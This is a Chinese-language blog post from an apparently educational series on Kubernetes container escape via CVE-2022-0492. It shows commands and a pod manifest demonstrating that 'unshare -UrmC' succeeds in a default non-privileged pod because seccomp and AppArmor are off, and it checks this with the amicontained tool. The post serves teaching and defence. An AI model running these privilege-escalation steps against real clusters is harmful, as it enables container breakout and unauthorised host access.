因為本篇篇幅比較少，所以跟Day13一起發佈

• CVE-2022-0492 相關逃逸手法可以參考之前的鐵人賽Day19 - 當容器逃逸的生活遇到瓶頸時，知道該怎麼做嗎？繼續用 unshare 就對了。，但重點是套用到了 K8s 上面有甚麼差異呢? 倒是可以好好的討論一下。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖，屬於 7 號的利用。
  

• 另外依據微軟的 Threat-Matrix-for-Kubernetes，該手法隸屬資料如下 :

  • Execution 策略 :
    • Exec into container
    • Bash or cmd inside container
  • Privilege Escalation 策略 :
    • Privileged container

• 首先複習一下 CVE-2022-0492，原理是因為 Linux kernel 的設計疏失，導致僅僅只是透過 unshare 就做到提升權限的效果。當時有提到說必須使用 --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" 這個參數去創建容器。但如果不用會怎樣呢?

docker run --rm -it aeifkz/my-ubuntu:v1.0 bash ;
capsh --print ;

# 出現權限不夠訊息
unshare -UrmC --propagation=unchanged bash ; 

wget https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64 -O amicontained &&  chmod +x amicontained ;

# 會看到 Seccomp Blocked Syscalls 包含 UNSHARE
./amicontained ; 

• Seccomp 跟 Apparmor 會在之後的文章中提到相關的防禦機制。但目前先知道 docker 啟動的話要先關掉才有辦法做後續的攻擊行為。那環境如果換到 K8s 會有甚麼差異呢? 以下就來做做實驗看看。

• non_privileged_pods.yaml

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      privileged: false

kubectl create -f non_privileged_pods.yaml ;
kubectl exec -it pods/test -- bash ;
capsh --print ;
wget https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64 -O amicontained &&  chmod +x amicontained ;

# 會發現 Apparmor 跟 Seccomp 居然都沒開!!
./amicontained ; 

# 直接成功
unshare -UrmC --propagation=unchanged bash ; 

• 後續的攻擊就參考鐵人賽之前的影片吧，看是要用 cgroups 逃逸還是(勘誤:驅動程式逃逸)都可以。與docker 不同，K8s居然預設沒開 Apparmor 與 Seccomp，所以在啟動 K8s pods的時候要知道這件事情。

• 今日總結 :

  • 本日回顧 :

    • 今日重點在於K8s 預設沒開 Apparmor 與 Seccomp，之後再防禦篇則會說明這兩個機制以及如何打開它們。

  • 次日預告 :

    • 差不多講完 K8s 一些特有的逃逸手法。接下來要開始探討更重要的另一塊，K8s裡面的 RBAC 機制以及如何濫用它們。